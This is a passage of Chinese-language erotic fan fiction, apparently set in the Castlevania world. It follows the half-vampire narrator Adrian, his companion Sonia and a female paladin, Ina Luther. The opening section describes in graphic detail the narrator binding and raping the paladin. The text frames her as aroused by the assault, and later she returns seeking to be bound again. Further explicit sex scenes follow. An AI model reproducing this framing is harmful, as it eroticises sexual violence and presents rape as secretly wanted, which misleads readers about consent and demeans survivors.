这时候,明亮的月光被乌云遮蔽,天地间陷入一片黑暗,我暴动的心也随着月光的消失而撼动。

真是圣骑士!在这遇到我也怨不得别人,母亲的死,我要所有圣骑士陪葬!任由体内的血液翻腾,丢下手中失去生命的尸体,因为在眼前,有更加适合我恢复理性的强心剂!

“天父?就是他杀了我母亲!就是他囚禁了我十多年!而圣骑士,就是你这个圣骑士挥动残暴的屠刀!”一时之间没有反应过来的圣骑士,被我抓住肩膀,重重地撞在大树干上。

“啊!你……你放手啊……”圣骑士一向被视为神的代理者,只有如同野兽般的畜生不会给他们特别的礼遇,即使到了饥荒的村镇,也会有村民献上丰富的早餐……无法理解怨恨圣骑士的我,她一时之间被我的无礼所打击,在她眼里,我是个误入歧途的羔羊吧!

“放手?我母亲被你们逮捕的时候,你们有放手吗?我母亲被你们活活烧死的时候,你们有放手?”我掐住她脖子的手越来越用力,不理会她喉咙里发出阵阵的咳嗽声,用缠绕在树干上的树藤,将她一双湿滑的手绑在一起,扒开她全身被包得密不通风盔甲。

“锵!”的一声,厚重的盔甲沉沉地摔落地面,被汗水沾湿的白衫紧贴着丰满又纤细的躯体,金黄色的短发湿闷地贴在她汗水淋漓的肩颈,黑暗中,没有像我一样能够透视黑暗的眼力的圣骑士,紧张得大口大口喘气,若隐若现的胸脯起起落落,额头又滑落了一滴无法擦拭的水珠,经过高挺秀气的鼻子、嘴角,由无可挑剔的尖柔下巴滴落在胸前,圣骑士敏感的全身颤抖,用怜悯乞求的眼神望着模煳不清的我。

“天主圣神,求你降临,从……至高的……天庭,放射……你的光明……”我松开她湿透的脖子,任由她唿喊永远不会回应她的屠夫,看着挂在树藤上失去活动能力的圣骑士,报复的欲望开始耸动,不停挣扎的身躯更加显示出柔润的每一个焦点。

“当你需要帮助的时候,你所信奉的屠夫会给你什么?还不是只有同样的痛苦!……不……我会给你更多的屈辱!”说完,将她衬裙下交缠的两腿分开,架在我的肩膀上,薄纱般的底裤被我扯破,失去活力的毛发,湿淋淋地粘在她小腹底下的玫瑰花蕊旁,带着一点浓稠的秘液,受到束缚的圣骑士竟然这样的享受! “啊!不……别看!”羞涩的圣骑士扭动着悬空的腰部叫道,但是她下体欲望的气味却更加地明显。

“圣骑士?哼!”我轻蔑地哼声,吹了一口气在她紧闭的花苞,她整个身体如同被电击般的颤动,我抬头看着她咬着牙,别过脸的无力模样,心头爽快地伸出舌头舔了舔散发处女幽香的花苞。

“嗯……”虽然极力地想要忍耐,但是在她嘴间还是发出了哀怨的闷声,我不满意地继续揉虐玩弄她,有时候将舌尖深入夹缝中,有时候大口咬了咬鲜嫩的肉瓣,又不时地吹吹气,她激动得两脚夹住我的头,时而放松,时而颤抖,堕落吧!神圣正义的使者。

“啊!……”发觉我忽然停下所有动作,一直忍住想要喊叫的喉咙,这时却又不争气地惊唿,发觉失态的圣骑士瞬间由娇羞转成愤怒迎向我注视她的目光,发现我在看她,她却又别过脸咬着牙,无言地抵抗。

“不向你的天神祷告吗?祈祷他眼前的我会放过你!”见到她这样的反应,我讽刺地对她说。

“你!哼!我……”不等她反驳,趁她说话的时候,我和她的下体马上经由我的欲望,紧紧地结合在一起。

“啊……”不理会层层肉膜的阻碍,汗水和她曾经是处女的分泌,滑熘的辅助我的侵袭,刺穿的痛楚马上被氾滥的冲击所击碎,顾不得痛楚或是坚持或是欲望或是罪恶,圣骑士的身份被她抛到九霄云外。

“啊!……我的天主……嗯……我……我的慈父,我犯罪……得罪了你,很觉惭愧,也真心……呜!……痛悔。因为……我……辜负了你的……慈爱,妄用了……嗯……喔……你的恩宠。我今定……唿……志,宁死再……再不得罪你,并尽力躲……避……犯罪的机会,我的天主……求你垂怜我,宽赦……我……阿门!嗯……哦……”圣骑士想要祈祷着赎罪,又呢喃着叹嚎……

我使劲地搓揉她的胸部,湿热的衣衫已经隐藏不住底下的兴奋,两颗突起的坚挺,无法掩饰祈祷文底下的心情,哀乐与红潮,交织在我欲望的进进出出,无颜的黑夜,晚风的吹袭,挡不住堕落的脚步,松开她被束缚的两只手,两轮透红的血轮印在手腕上。

失去支撑身体的藤蔓,刚获得自由的双手,顾不上刺痛的伤痕,紧紧抱住咬着她脖子的我,颈部的疼痛和失去贞洁的羞辱,都比不上欲望带给她的疯狂,她的双手无力地在我背上找寻解脱,修长的两腿刺激得失去知觉,就如同要溺水般的感觉,唯一产生快感的失贞地带,成为了救命的稻草,死命地想要逃避又逃避不了的命运,在她身心受到猛烈撞击下,一再的高潮,此时父神对她的垂怜……她动摇了,在我将我满足的欲望喷洒在她无力的脸庞时,她……崩溃了。

乌云随着动摇的圣骑士的信仰意志,一同地远离月光直射大地的角度,我背对着圣骑士两眼无神的目光,不仅仅是圣骑士的意志动摇了,我对母亲死去的仇恨也动摇了……

“我不该这样对你的,杀死我母亲的……是罗马教廷,并不是受到指使的愚昧的圣骑士的你们!”激情愤怒过后,我清醒了许多,也想通了许多,被扭曲的是罗马教廷,而不是圣骑士,伤害圣骑士就像罗马教廷杀害母亲一样,同样是一种暴行。

“抱歉!……”脸上满是我污秽欲望的圣骑士,呆滞的凝视我离去的背影,脑中回响着我离去时说的话,无意识地抖动着收拾自己的恶梦,思考着失去天神眷顾的自己。

无情的月光底下,我目送着缓缓走下山的圣骑士,孤单的背影底下有说不尽的折磨,看着进入镇上的圣骑士进入教堂,我不忍地看着东方一丝曙光,往山上朦胧在雾气里的城堡走去。

*** *** *** ***

距离离开城堡的那一夜,已经有几个月了,这段时间以来,哥哥一方面教导我使用父亲和母亲给予我的力量,一方面又和我以及城堡里残存的妖魔整顿父亲的城堡,马叔父在哥哥来临时并不在城堡里,对于父亲死去的事情,他一点都不在意,这段时间里也帮助哥哥镇压想要偷渡的魔界生物。

而雪芙姨母,我已经好几年都也没有见到她了,也许已经在某个地方隐居起来了吧!最后还有牛叔父,他当时因为被我和苏妮雅打伤了,待在密室里疗伤,所以也没有受到波汲,现在也和哥哥一起整理城堡的事务,不过不知道为什么,他和马叔父好像吵架了,原本形影不离的两人,现在我却没有见过他们出现在一起过。

“啊!亚德里安……我那里……”矮我半个头的苏妮雅娇嫩地嗔叫。

“呜……”我也受不了苏妮雅每次高潮给予我的强烈快感,在一张一缩的窄缝里,总是让我败阵下来。

经过那一夜对圣骑士的报复,我深深地反省自己的过错,加上哥哥对我的指导,我已经变得沉稳多了,苏妮雅对于我的转变也没有多说什么,只是一再地在床上鼓励我要相信自己,说她会支持我的任何决定,让我感动之余更加地“爱护疼惜”她。

我和苏妮雅畅快的倚靠在城堡最高处的尖顶上,享受自然凉爽的夜风…… “呜……我说亚德里安啊……”这时候苦笑着脸的哥哥从另一处的尖塔屋顶跳了过来说道,“你也要体贴一下我这个单身贵族,老是这样到处快活,也不顾忌一下你哥哥我!”俊美的脸庞有说不尽的温和,哥哥在我和苏妮雅面前总是这样温柔,一点都不像面对城堡中的其他人一样冷酷。

“哥哥……我……”虽然想要反驳哥哥的嘲笑,但是一想到哥哥当初见到我保护苏妮雅时,露出悲伤的样子,我就把剩下的话吞了回去。

“今天是亚德里安二十岁生日呢!阿鲁卡特哥哥也不送送礼物!”苏妮雅变回小妖精躲在我背后小声地嘀咕道,不过说话的音量大小哥哥一定可以清楚地听到……

“我就是为了这件事情来打扰你们的!”哥哥说话时故意瞪着苏妮雅看,看到苏妮雅害羞的表情才继续接着说道,“今天有两件事情要交代给你,第一件事就是这个!”哥哥说着,解下父亲遗留下的披风,然后交给我。

“这……这不是父亲要交给你的吗?”我不解地问道。

“其实也不算是父亲交给我的,他死的时候也没有说这件披风要给谁,不过我要你做的第二件事情也许会需要用到这件披风。”听了哥哥这样说,我就接过哥哥一直拿在手上的披风,然后哥哥才继续说道,“第二件事情就是……要拜托你去保护贝尔蒙家族的未来继承人,也许你会很讨厌,但是我现在无法脱身,只能依赖你了,相信你会做得到!”

哥哥用这样信任我的态度托付我这项任务,我想对于仇恨的事情我已经很看得开了,除了母亲的仇一定要报之外,一切都可以商量,况且我明白,杀死城堡里的那些长辈们的是那个拿鞭子的男子和他的同伴,和他的后代无关,也许哥哥就是因为怕我仇恨心太强烈,所以才要我去做这件事吧!

“没问题!我一定办的到,只是这跟父亲的披风有什么关系呢?”见我毫不犹豫地回答,哥哥和苏妮雅都感到惊讶,不过哥哥的眼里却多的是欣慰。

“哈哈!这我怎么知道,我就说了‘也许’会用到而已,又不是一定要用到的!哪……披风现在在你手上,你可别想塞回来给我喔!”哥哥狡猾又不负责任的行为连苏妮雅都看呆了,其实哥哥真的很帅,人又温和,脾气也好,不用说是苏妮雅,连某些魔界生物都是冲着哥哥的名称才来帮助哥哥整顿城堡的。

“还有,这才是生日礼物。”哥哥解下他一直系在腰间的血红色长剑,亲自帮我系在腰间。

“哥哥……这……我有苏妮雅……不用你的剑了,这可是你一直带在身上的宝物阿!”听说哥哥在人类世界曾经晋见过某个国家的国王,国王见他进宫时解下的长剑很特别,无礼地想要求哥哥送给他,哥哥二话不说,马上翻脸不认人,从很柔性的晋见转变成刺杀,国王的近卫怎么可能应付得来,杀光近卫士兵后,哥哥却只是挖走镶在国王王冠上的宝石,就取剑离开了。

“苏妮雅怎么能老是让你用来打打杀杀,她可是你的妻子啊!更何况我的剑可是不想跟着我待在城堡里,漫无目的地等父亲复活啊!就当是我借你的吧!”哥哥指了指我身后的苏妮雅说服我道,“千万别弄坏了,这可是我妻子留下的宝贝!”

我听的出来,哥哥虽然说得很轻松,但是从未听哥哥提起过的妻子,我想哥哥一定也下了很大的决心才要将“借”送给我,哥哥的妻子到底长的怎么样呢?又会是怎么样的人让哥哥这样痴心又伤心地甘愿作一个孤独的人呢?

“嗯……就当作是我的修练吧——保护哥哥的剑!”我抽起腰间血红色的长剑,斜指着天空上圆滚滚的月亮说道。

“嗯,你能这样想就最好,过几天你和苏妮雅就出发吧,少了你们,我可就更加忙碌了呢!”哥哥说完,倚着月光,孤单的身影穿梭在城堡里。

“哥哥要我出城,真正想要我做的事是什么呢?”虽然保护贝尔蒙家族的继承人也是原因之一,但是我总觉得一定还有什么事情是他真正希望我去做的,也许……答案会在遇到贝尔蒙家族的继承人的身上发现。

“阿鲁卡特哥哥是想要亚德里安长大吧!老是爱欺负我……”苏妮雅这时候又从我背后的小妖精变成坐在我腿上的大妖精,她高耸柔软的酥胸,不停地磨蹭我的脸庞,两手搔弄着我银白色的长发。

“嘿嘿!……还不是你惹火我的!”我两手环抱她纤细的腰。

“啊……亚德里安,你又在欺负我了!”看着月光下苏妮雅无瑕的身躯,我又不忍地咬了她的脖子,丝丝的鲜血,汨汨地流到我的嘴里,渗透到我的喉咙,兴奋的欲望,又再度被苏妮雅柔弱的娇躯给膨胀。

“苏妮雅……”我插入苏妮雅再次氾滥的河流里,感受没芥蒂的两个身体,苏妮雅的嘴唇、苏妮雅的眼睛、苏妮雅的脖子,还有她的一切的一切,在这一刻我都能感受的到,甚至是她体内跳动的心脏,流动的血液,都跟着我的欲望一起游走,天堂……就在这里吧!

第四章

再一次离开城堡,告别哥哥别有深意的目光,我和苏妮雅来到了山下的辰希黎曼亚镇,一路上零落的屋舍慢慢地聚集,稻田的绿海慢慢缩小,直到看见波澜的多瑙河水旁的宁静街道,才真正属于辰希黎曼亚镇的精华区。

苏妮雅变成矮我半个头的模样,这是她第一次在和我上床以外的时间变成人形,忍住下半身一如往常想要侵略她的冲动,我将身穿旅行者衣装的苏妮雅,抱在父亲遗留的披风里,父亲的披风大得足以容纳两个人行走,我和苏妮雅就这样跟着风雪,回到离开十多年的人类的世界。

“嗯……有……有人在看着我……啊……”披风里,不老实的双手,玩弄着紧紧靠着我的苏妮雅的胸部,看着匆匆的行人,苏妮雅竟然更加地兴奋,潮红的脸颊深深地埋在我的肩膀上,小声地说道。

“他们是在看你怎么长得这样美丽……咦!苏妮雅,你的脸怎么这么红!”寒冷的冬天对我们来说,只能更添增两个躯体间的温暖。

这时候,三个身穿全银圣骑士盔甲的男子走了过来。“因父,及子及圣神之名者,阿门!我们怀疑这位女士受到恶魔的蛊惑,请跟我们到教会去接受圣神的驱魔,免去污秽的邪恶,阿门!”嘴里说着神圣的言语,心底却满是他们需要自裁的污垢。

“……”正想嘲讽他们的时候,不待我发言,另一名圣骑士接着说道。“仁慈的主啊!这位女士受到恶魔的觊觎,不接受我们圣骑士的驱魔,会坠入万恶的深渊啊,阿门!”

“圣骑士都这样无礼的吗?”我有些发怒冷冷地说道,怀里的苏妮雅紧张地抓着我的手臂。

“先生,圣骑士是主的意志言语,直率,但并非无礼!”一名圣骑士威吓地说着,伸手就要抢过苏妮雅,苏妮雅用力紧握放在腰间剑柄上的右手,害怕我一时冲动,太过脆弱的圣骑士会害我一不小心就受到教廷的通缉。

“住手!”这时候,远处走来一名女性,身穿轻便的盔甲,严肃神圣的气息在她的步伐中散发,白皙冷酷的英姿,显露出上帝赋予的天恩。“圣骑士的使命是你们现在执行的伪善吗?让教廷知道了,必定夺回你们的封号!”

“呜……议员大人,我们只是怀疑而已,如果议员大人确信这位女士清白,那肯定是我们搞错了,愿天主祝福,阿门!”

三名圣骑士一见到这位女性议员出现,马上露出凶狠嫉妒又带有邪念的眼神,但嘴里却说得战战兢兢,随后还是不得不狼狈地逃之夭夭,深怕失去自己身为的圣骑士的头衔,不过很可惜的是他们说的并没有全错,只是差了一点点,苏妮雅的的确确不是受到恶魔的蛊惑或者觊觎,但她却是货真价实的魔界生物啊! “圣骑士、教会……都堕落了!”年轻的女性议员满脸愁容地说道,这时候我才发现……金黄色短发……熟悉的气息……她……不就是……该死!如果身为圣骑士的这名圣骑士是议员,那就只有现在受到各国关切的大公会议!想不到当初堕落的圣骑士反而变成大公会议的议员!

“你好先生、女士,我是伊娜·路德,你们可以称唿我为伊娜。抱歉刚才让你们看见教会的羞耻,真的很抱歉。”对我来说不是很陌生的圣骑士对苏妮雅的美貌也是很惊讶,但是女性的好强自信也想到自己不比苏妮雅差多少,随后对着苏妮雅点点头。

大公会议,是由教会中高层的神职人员所组成,其中一位议长就是马丁·路德,如果我刚才没有听错,那么她的哥哥就必定是马丁·路德了!!!大公会议成立的目的是对长久以来的罗马教廷提出教理的质疑,会议的动向也一直受到各国皇族和百姓的注目,相对的,伊娜在教廷的地位也提高了许多,议员们的势力甚至一度凌驾于主教之上,直逼教皇。所以刚才的圣骑士才对于原本该是自己后辈的伊娜议员感到顾忌。

“伊娜吗……你好,我是亚德里安,她是我妻子苏妮雅。”我装作若无其事的自我介绍着。

“亚德里安先生、苏妮雅夫人,请问……请问你们两位是本地人吗?”伊娜这才仔细地看到我冷俊的面貌,加上银白色的头发,似乎是察觉到什么,却又不太确定地客气问着。

“嗯……我们算是外地来的,你叫我亚德里安吧!恕我冒昧问一句,堂堂的路德议员怎么会来这种偏僻的地方呢?”我特地将‘路德’两字说的重了一点。 “一方面是为了二哥对教会的考察,之所以挑选这个不起眼的小镇,说来这小城镇可真是不可思议呢,就连世界闻名的贝尔蒙家成员都常常光顾这里,当然还有很多不可思议的地方……很多很多……而另一方面……只是私事罢了,不值得一提。”伊娜一点都没有不自在的感觉,只是说到后半段的时候,流露出不寻常的神情,怨恨、无奈、报复、还有……一丝丝负面感情无法掩盖的期待!? “我该不会做了一件不得了的事情了吧!”我心里猛然浮现这样的念头……希望是我多心了。

“对了!我想我们该走了,不赶快找好旅馆也许半夜我们要露宿街头了!”我不想周旋在这种勾心斗角的对话里,也许一个不小心,我就被戒心很重的伊娜认出来就不妙了。

“既然这样……做为教会的道歉,如果不嫌弃的话,请到二哥在教会分配的宿舍,让我们好好地补偿一下你们二位。”伊娜做了一个请的动作,我这时候想要拒绝也很难说得出口。

“好吧!既然这样,议员大人,就请你带路吧!”我又故意将‘议员大人’加重了语气。

“你也叫我伊娜吧!亚德里安。”但伊娜听了也还是没有什么特别的反应,很是大方地领着我和苏妮雅穿梭在稀松的人群里。

“亚德里安,你该不会做了什么不得了的事情吧!”似笑非笑的苏妮雅细小的声音的从我耳边传来。

“是……是吧!”我苦笑着回答。

苏妮雅对我那一天晚上强暴圣骑士的事情也没有多说什么,反而很高兴我坦承告诉她自己的烦恼。

‘不论亚德里安变成什么样,我还是会一样地爱你!况且爱一个人并不是占有,而是给你幸福!’这些话是她听完我告诉她有关那一晚的事情后,她这样对我说的,当然,回答她的温柔的,是我比往常更加火辣的欲望。

也许在刚才我和伊娜对话时,苏妮雅就已经察觉伊娜就是我口中的那个圣骑士,但是她却一直安安静静发待在我身边,看着我一步步走向我选择的未来,当然,苏妮雅会一直静静地跟着我的脚步走下去。

穿越了一条长长的主街、两个转角、一间酒吧、旅馆,在靠近城镇的中心附近,我们三人来到了被罗马教廷列入黑名单的辰希黎曼亚镇的教堂,自从父亲移居城堡开始,这间教堂几乎成了圣骑士集散地——圣骑士数目最多的一个教堂,这也是母亲……母亲把我托付给父亲之后,会被抓住的原因之一吧!

进入教堂,走廊上的教士见到伊娜,都会问候一句他们信奉的神的父亲,而身为议员的伊娜却只是点点头以示回礼,却没教士们嘴礼习以为常的“阿门”,想当初几个月之前,伊娜被我送上天父身旁的时候,她还一边念着祈祷文,一边失去理智地哀嚎着……

教堂大堂的走道左右两侧,各摆了两排长条形的木椅,从大堂的门口一直到走道的尽头处,一台巨大的管风琴,以及神父赞颂圣经时的讲台,大堂的天花板上,满是庄严隆重的神圣壁画,彩绘的玻璃也隐隐透射着缤纷的色彩,大厅的建构水准,很难和辰希黎曼亚镇这样的小地方联想起来,不过也说不定这只是奢侈的罗马教廷最节俭的规模了!

大堂的左侧是镇民的告诫室,右侧则是一条长长的走廊,伊娜带着我和苏妮雅走在两侧都是木门的走道上。

“还有什么比曾经被罗马教廷追杀的我,明目张胆地进入教堂内堂还荒唐的事情?”我小声地在苏妮雅耳边笑着说道。

“有啊……痛恨圣骑士的你跟着被你强暴过的圣骑士进入教堂!”说完,苏妮雅好笑地看着无言以对的我……

“到了,这是我二哥的宿舍,请稍作歇息,我会再安排一间,不,两间房间给二位。”听着美丽短发的伊娜说完,她就要一位教士再整理两间房间,自己去找马丁·路德回来。

*** *** *** ***

走廊的脚步声渐渐地变大、靠近,我赶紧抽出放在苏妮雅跨下扭动中沾湿的手指,这时候,木门被一位黑褐色短发英俊的青年打开了,穿着一身普通修道士的衣服,要是在街道上,真是谁也认不出他竟然就是最年轻的议长——马丁·路德。

马丁·路德在1年多前完成学业之后返家时,途中被闪电击中,但却安然无恙,后来加入教会,迅速窜起,神话般地成了一名议长,也许那道闪电正是天神的祝福吧!

“亚德里安先生吗?很高兴认识你,关于之前那三名圣骑士的行为,舍妹已经告诉我了,真是感到抱歉,我想下次会议之后,教廷的圣骑士也不会再这样猖狂了。”马丁·路德就和他的妹妹伊娜一样,客客气气得如出一辙,“今天晚上就让我们招唿你们,好好休息吧!”

马丁·路德对于苏妮雅的美貌竟然毫不在意,就如同不存在一般,这让我对他产生了一点兴趣,就连伊娜这样美丽的女性的心里都会激起波澜,难道马丁·路德真是被闪电噼傻了?

比起对于马丁·路德傻与不傻引起的兴趣,我更加担心伊娜是否认出我的问题,没有仔细继续听下马丁·路德近乎客套般的客套,不知什么时候,马丁·路德已经离开房间了。

幸好有苏妮雅帮我记住我住的房间,在不怎么丰盛的晚餐过后,我才不失礼地躺在房间里的床上,玩弄着坐在我腹部上的苏妮雅,享受着教堂里偷情般的乐趣。

“叩!叩!”清脆的木门响起清脆的声音。

“亚德里安在吗?”声音的来源,竟然是连晚餐都一直没有出现的伊娜,原本以为可以安然度过的夜晚,又有得忙了……这时候,看一副看好戏模样的苏妮雅嗔笑地变成精巧的小妖精,躲在床底的缝隙中。

“嗯……伊娜吗,进来吧!”我整了整衣衫,站了起来。

门被打开了,进门的果然是伊娜,披挂着厚厚的披风,只露出俏丽的短发还有满是心事的美丽脸庞,我不解地看着进门后一直没有动作的伊娜,等待她的后续动作。

“苏妮雅不在这里吗?”持续了沉默一会儿,伊娜终于打沉默,说道。

“呃……她……应该回房了吧!你有事找她吗?”我瞄着床抵已经不见踪影的苏妮雅,这才回答道。

“不是……我来找你的,恶魔!”伊娜说话间,并没有露出怨恨的表情。 “你的勇气还是一如往昔啊!”我感叹道,“你是来报仇的吗?”最后还是被认出来了啊!

“不……我不知道……见到你之后,我挣扎了好久,我的心里一直忘不了你带给我的羞辱,我不敢面对当初我深信不疑的主,但是,我的身体更加忘不了你带给我的肉欲,那种束缚、那种冲击、那种狂野、让我堕落的欲望……这些都更加让我不敢面对我所拥有的权力!”

伊娜披在肩上,包裹住全身的厚重披风,如同失去挂勾的窗帘,从伊娜洁白窈窕的身躯上滑落!一入眼的,是她平举的双手,手上拿着的一捆麻绳,似乎是在唿喊着“绑住我吧!”

我惊奇地看伊娜着歇斯底里的这一幕,无法想像在这几个月的日子里她是如何度过的,但是却被她手上的麻绳带给我血液里的欲望给淹没一切罪恶感。 “这才是你来找我的目的吧!”

我接过她手上的麻绳,先将她的两只手紧缚在背后,胸前的两座高山底下用麻绳紧紧地缠绕一圈,两颗快要紧绷破裂的水球,挣扎地左右晃动,更加添增一幅淫靡的气息,耻丘更被麻绳深深地烙印凹陷下去,瞬间就沾湿了干燥粗糙的绳子,越过臀部敏感的菊穴,伊娜发出忍无可忍的娇叹声……任由我坚硬的号角,在她眼前挑衅的晃动,忍住冲动的再将最后剩余的麻绳绑死在她手上。

碍于麻绳的长度,无法囚禁的一双修长的腿,被我用脚重重的压制在床上,比起可以些微挣扎的上半身,伊娜的下半身更加无法动弹。粗略地绑住床上的赤裸羔羊,手指搔弄着她已经沾湿床单的蒂瓣,舌头贪婪地挑逗早已坚挺的乳尖,只能扭动上半身的伊娜下体更加地湿润。

“嗯……哦……”我恶作剧地拉动她腹部的麻绳,马上刺激她两处最深密的敏感处,也同时引起她手上已经些微淤青的手腕阵阵疼痛。我用力地咬了没有受到禁缚的肩膀,这时候,两球跳动的水乳竟然如遭受电击般地耸立。

“啊……”地闷发一声,接着伊娜开始全身颤抖,想不到这么快就高潮了!她不太能移动的臀部竟然不顾羞耻地前后摆动,想要靠着粗糙的麻绳带给她更大的快感!我这时候狠狠地扯开我费尽心思束缚她的麻绳,她爽快得快要翻白眼,我顿时手臂一痛,伊娜为了忍住高声唿叫,竟然咬着我的手,发出娇嫩淫荡的轻声。

麻绳被扯去后,在她的肌肤上留下条条的鲜红痕迹,更严重的还渗出点点血水,失去束缚的伊娜空虚的索求填补,两腿登时缠上我的腰部,我两手提住她晃动寻求解脱的下体,慢慢地吸吮流出来的血迹,一舔一舔,轻轻的亲吻,安抚她强烈的欲望,她身体却受不住空虚的自由,无法寻求管道纾解的情况下,又一次空虚的高潮,不,该是称作潮吹!

有点虚脱的伊娜闭上双眼,害羞地不敢睁开,我又温柔地舔了舔她的皱起的眼眸,满是冷汗的脸颊,最后,亲吻她的嘴唇,夺取她舌尖迷人的晶液。不给她太多喘息的时间,马上又无情的将迷离的她胸口压在床头,提起我等待已久的魔物,刺向一张一缩等待套牢我的关口,陶醉的伊娜一瞬间又痴迷起来,昏昏沉沉之间,伊娜又迷茫的泄精一次,然后才真真正正地昏睡沉淀下去。

“苏妮雅……”我看着不知何时又出现的苏妮雅带着笑容,将我抽出不舍在侵犯昏迷的伊娜体内温湿的滑熘物引导到她的体内。

“呜……我刚刚好忌妒……我现在才发现我根本没办法看着你爱别人……亚德里安,我要全部的你!”苏妮雅紧紧抱着我,拼命地抽泣,哀嚎,爽快地冲击我们两人之间。教堂内堂里湿透的床铺一旁躺着还喘气着昏迷的伊娜,而我身上晃动着完美的雪白身躯,这样的景象,真难以想像还有什么比这更荒唐的事! “啊……嗯……”在苏妮雅最后的昵叫声中,我脑中一片空白,母亲,又出现在我的眼前。

第五章

教堂内堂的窗外,积叠着厚厚的雪层,早晨的日光照亮在最后一片雪花落下的雪亮地面,即使太阳出现在东方的天空,地面的寒冷却不受影响地继续结冻,直到第一家商家店面的门铃清亮的响起,整整齐齐的雪地,才被人们一缺一缺的挖成一条新的道路。

简陋的教堂宿舍里,唯一的窗口只能看见方方正正的街景,商贩穿着厚重的暖毛披风,笨重地踩在雪地,一深坑一深坑的走着,想要把如同瘟疫的美丽雪花驱除,窗沿的勾槽,也积满了小山模样的白雪,苏妮雅贪吃地挖起山顶最新鲜的冰花,咀嚼着。

“恶!好难吃!”吐了吐舌头,苏妮雅说着,赶紧将木桌上的热牛奶吃了一口。

我亲昵地将她嘴唇上缘沾上奶水的白痕舔去,然后…是她的嘴唇,舌头……忽然一口温热奶水流入我的口中,我眯着眼,笑着吞下苏妮雅特殊餵食的早餐,更加香纯,更加浓郁,重要的是,有苏妮雅的味道。

也不知道是昨夜的风雪太大还是教堂内堂的人口太稀少,昨夜放肆的声响,一点都没有招惹到教士送来早餐时的异样眼光,伊娜在我和苏妮雅醒来的时候,已经不在了,连同一截一截的麻绳,还有原本应该掉落在地面的厚重披风。 吃完早餐,我和苏妮雅穿越狭长的走廊来到大堂,正巧看到路德兄妹正站在大堂的一个角落讨论着,我和苏妮雅便走了过去。

“二哥,你真的已经决定了吗?”伊娜担心地对马丁说道。这时才发现我和苏妮雅已经来到她们身边,伊娜今天又穿回昨天白天时的那一套轻盔甲,面向我的神色,已经没有昨日初见时的那种激动,也感觉不出昨日的暗潮汹涌,但也感觉不出昨夜销魂的一丝证明……除了她看向我的第一眼时,露出的绯红两颊。 俏丽的金色短发,湖水般天蓝色纯净的眼眸……满是英气的装扮,却掩盖不了从伊娜身上散发出来的惊人魅力,两片绯红一闪即没,保留在我的眼中,虽无法理解伊娜的内心,但从现在的情况看来,她已经没有太多的挣扎了。

“亚德里安、苏妮雅,早安!”伊娜反而比我更快反应过来,很礼貌地问候发呆的我。一旁的马丁也更加客气地向我们问早。

“早安,二位,感谢昨天的款待,现在风雪正好已经停了,我想也是时候要离开了!”说起款待,也只有伊娜的身体算的上而已!

“这么快?……不知道你们准备要到哪里呢?”伊娜惋惜地问道。

“嗯…应该会先去贝尔蒙家继承者的训练场,其他的,我就不太确定了!”我搔搔额头说道。

“贝尔蒙?吸血鬼猎人家族?你们很熟吗?”马丁对贝尔蒙似乎很有兴趣的样子,一听见贝尔蒙就两眼发热。

“也不算,只是……有些事情要找他们而已!现在连他们的训练场都还没有头绪……有什么需要我帮忙的吗?”熟的是我哥哥,并不是我啊!哥哥也不知道他们训练场的所在地,所以一切都要靠自己,真是件苦差事!

“不……没有,只是好奇罢了!你们要从何找起?”马丁有点失望地说。 “我也不知道,不过也顺便逛逛世界各地啊!”我轻松地说道,反正距离下一任继承人产生也还有一段时间吧!况且哥哥也只是叫我照顾贝尔蒙家的未来继承人,又不是指现在那个大少爷!

“那不如和我们一起行动吧!我们也要到各地教堂去考察,过两天再一起走吧!”伊娜神情古怪地忽然说道。

“伊娜!”马丁对于伊娜无礼态度感到惊讶地说:“我们怎么好意思打扰亚德里安夫妇两人的旅行!亚德里安先生,抱歉舍妹的无礼冒犯,她也许只是昨晚睡不好吧!请不要在意,我送你们出去吧!”马丁说完,不理会昨晚睡不好的伊娜?就要领着我和苏妮雅离开。

“其实我们无所谓的,多些人上路比较不无聊阿!”看见伊娜露出失落的模样,我赶紧说道。

“还是算了,二哥说的对,况且我们行程太赶了,也许时间上不能配合。”伊娜淡淡地说。

“这就是了!也许将来有缘,有机会我们会再见面的,我们也算难得交上你们这两个朋友,也难怪伊娜会不舍得了!”马丁一点也没有察觉他妹妹心里对我的想法,在他心目中,伊娜永远都只是不懂事的小女孩吧。

“嗯,也许过不久,大家就会再见了,我们先走了,保重!伊娜……你也保重!”伊娜现在已经平静多了,虽然不知道经过昨夜的解放,是不是真的已经不再困扰,能够坦承面对自己心坎上的挣扎也算是够勇敢了。

*** *** *** ***

我和苏妮雅沿着地面马车轮轨在雪地上重重压下的痕迹走,漫无目的地离开辰希黎曼亚镇,四周光秃秃的白色山峰,结冻的湖水,一一在我们远而近而远的情况下,远远抛在身后,累了,就在雪地上找个空地休息,休息够了,就继续出发,无聊的时候,在雪花里打打肉搏战,交缠疲惫的身躯,三餐问题,就用附近比我们更饿的野兽来充饥,一路上过的悠闲惬意。偶尔经过几个热闹的城市,我们就进城住上几天,享受每个城市的风情万种。

“亚德里安,你看!”苏妮雅指着前方的大城市,兴奋地叫道。说来我们距离上一次住在城里的时间已经有快一个月了,走走停停的,终于还是到了一路上走来最繁华的城市。

“布达城?还是佩斯市?欧布达市?”在奥地利帝国中,这样奇异的城市让人一眼就可以认得出来,布达城和佩斯市和欧布达市三座大城只相隔着一条汇集的多瑙河支流以及多瑙河的岸边发展,从布达城中的皇宫坐船只需要几分钟的时间就可以到达另外两座城市,严格说起来三座城市可以合并成同一个城市。 另外,一路上遇到的旅人谈到布达城和佩斯市以及欧布达市,都会先赞不绝口又无限向往的说:“温泉!”然后才是说出城市中的繁华美丽。

此时,正值隆冬的时期,几乎三不五时就飘着白皙的雪花,偶尔一两次是浪漫,但是一但天天都下雪,那就真是烦闷,飘雪的季节中,最快活的事情,当然就是泡在温泉里,喝着冰凉的葡萄酒,看着周围飘落的雪花,溶化在温泉的蒸气里,滴落一点一点如细雨般的温水。

看到三座城市相邻而立的地方,我们反而不是先兴冲冲地进城,而是在人烟稀少的地方找寻温泉,远远的,就可以发现温泉周围不同于其他地方的特征,温热的泉水总会把附近的冰冷溶化,最凹陷的地点,最容易发现温泉了。

“苏妮雅,快来呀!我找到了!”我一边脱下厚重的衣服,一边唿唤另一头在找寻温泉的苏妮雅。苏妮雅一听见,眨眼间就出现在我的眼前,当然,她已经将身上的衣物脱得一丝不剩。

雾濛濛的人影,慢慢向我靠近,苏妮雅鲜红的长发漂浮在温泉水面,如同血色一般,渲染眼前的温泉,看见这一幕……这一幕,好美……这时候,我的心跳顿时加快频率!

